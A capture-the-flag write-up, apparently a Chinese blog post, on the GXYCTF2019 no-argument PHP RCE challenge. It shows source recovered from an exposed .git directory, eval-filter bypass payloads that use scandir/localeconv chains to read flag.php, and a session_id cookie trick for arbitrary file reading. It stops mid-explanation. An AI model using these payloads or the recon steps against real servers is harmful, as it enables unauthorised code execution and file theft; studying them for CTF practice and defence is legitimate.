[GXYCTF2019]禁止套娃（无参数RCE）

coleak

已于 2023-03-26 14:48:24 修改

阅读量1.1k

点赞数 4

分类专栏： # web安全文章标签： php 网络安全 web安全正则表达式

于 2023-01-19 11:28:22 首次发布

本文链接：https://blog.csdn.net/qq_63701832/article/details/128730383

版权

web安全专栏收录该内容

105 篇文章 5 订阅

订阅专栏

信息收集

拿到这道题，抓包看了看，啥也没有，用dirsearch爆破目录发现.git目录，猜测存在.git源码泄露，用githack探测发现有index.php这个文件，原来是./git源码泄露

githack探测后拿到index.php

源码如下

<?php
include "flag.php";
echo "flag在哪里呢？<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦！");
            }
        }
        else{
            die("再好好想想！");
        }
    }
    else{
        die("还想读flag，臭弟弟！");
    }
}
// highlight_file(__FILE__);
?>

知识讲解

涉及函数

PHP中preg_match（/{1\2\3...}/i,{}）

preg_match 函数用于执行一个正则表达式匹配
/u 表示按unicode(utf-8)匹配（主要针对多字节比如汉字）
/i 表示不区分大小写（如果表达式里面有a，那么A也是匹配对象）
/s 表示将字符串视为单行来匹配

PHP preg_replace() 函数

preg_replace 函数执行一个正则表达式的搜索和替换。

PHP的正则表达式

无参rce

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']))
{
    eval($_GET['code']);
}

这段代码的核心就是只允许函数而不允许函数中的参数，就是说传进去的值是一个字符串接一个()，那么这个字符串就会被替换为空，如果替换后只剩下;，那么这段代码就会被eval执行。而且因为这个正则表达式是递归调用的，所以说像a(b(c()));第一次匹配后就还剩

下a(b());，第二次匹配后就还剩a();，第三次匹配后就还剩;了，所以说这一串a(b(c()))，就会被eval执行，但相反，像a(b('111'));这种存在参数的就不行，因为无论正则匹配多少次它的参数总是存在的。那假如遇到这种情况，我们就只能使用没有参数的php函数

这里如果觉得比较抽象我们可以本地搭建个匹配进行验证分析，如下

<?php
$a = 'b(a_());';
if (';' === preg_replace('/[a-z,_]+\((?R)?\)/',NULL,$a))
    echo 'ok';
highlight_file(__FILE__);
?>

当a_存在参数时echo不执行，另外由于没有匹配数字，出现数字也会不执行，如'b(a1_());'

用到的函数

localeconv() 返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
current() 返回数组中的当前单元, 默认取第一个值
scandir() 可以扫描当前目录下的文件
array_reverse() 以相反的元素顺序返回数组
next() 将内部指针指向数组的下一个元素，并返回结果

current(localeconv())永远都是个点

思路分析

方法一

先读取当前的目录

?exp=print_r(scandir(current(localeconv())));

发现一个flag.php

目录取反

?exp=print_r(array_reverse(scandir(current(localeconv()))));

指向下一个元素

?exp=print_r(next(array_reverse(scandir(current(localeconv())))));

读取文件

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

方法二

session_id()实现任意文件读取

session_id可以获取PHPSESSID的值，而我们知道PHPSESSID允许字母和数字出现，而flag.php符合条件
因此我们在请求包中cookie:PHPSESSID=flag.php,使用session之前需要通过session_start()告诉PHP使用session，php默认是不主动使用session的。
session_id()可以获取到当前的session id。
这样可以构造payload:?exp=readfile(session_id(session_start()));
达到任意文件读取的效果

先用cookie传参来设置session_id的值，session_id的值等于cookie中PHPSESSID的值，所以构建cookie头